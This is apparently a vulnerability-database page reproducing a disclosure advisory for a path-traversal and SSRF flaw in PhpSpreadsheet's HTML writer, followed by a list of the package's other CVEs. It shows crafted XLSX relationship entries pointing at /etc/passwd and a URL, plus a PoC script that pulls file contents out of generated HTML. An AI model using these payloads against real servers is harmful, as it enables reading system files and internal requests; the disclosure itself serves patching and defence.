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Medium

PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

  • Disclosed: 07.10.2024
  • Updated: 11.10.2026 10:22

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.:

xml
<a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:

xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />

or

xml
<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

php
if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';

PoC

php
<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));

Add this file in the same directory: book.xlsx

Run with: php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpoffice/phpexcel <= 1.8.2 no fix
Composer package phpoffice/phpspreadsheet >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1

References

CVSS score 6.3/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness (CWE)
CWE-22, CWE-36, CWE-918
Platform
Composer
Package
phpoffice/phpexcel, phpoffice/phpspreadsheet
Disclosed
07.10.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-w9xv-qf98-ccq4 - CC BY 4.0

Vulnerability history: phpoffice/phpspreadsheet

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
11.2019 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 17
  • Medium 12

Disclosures per year

Severity:
  1. PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion
    High · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion
    High · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
    High · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. PHPSpreadsheet has a patch bypass for CVE-2026-34084
    Critical CVE-2026-45034 < 1.30.5 1.30.5
  5. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
    High · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader
    High · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled
    Critical CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser
    High CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  9. PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file
    High · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  10. PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file
    High · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class
    High · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file
    High · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. XXE in PHPSpreadsheet's XLSX reader
    High · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  14. XmlScanner bypass leads to XXE
    High · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled this entry
    Medium · 6.3 CVE-2024-45291 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  16. PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
    High · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  17. PHPSpreadsheet Library < 2.3.0 - XXE Injection
    High · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  18. XXE in PHPSpreadsheet encoding is returned
    High · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  19. XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue
    High · 8.8 CVE-2019-12331 < 1.8.0 1.8.0
  20. XXE in PHPSpreadsheet due to encoding issue
    High · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

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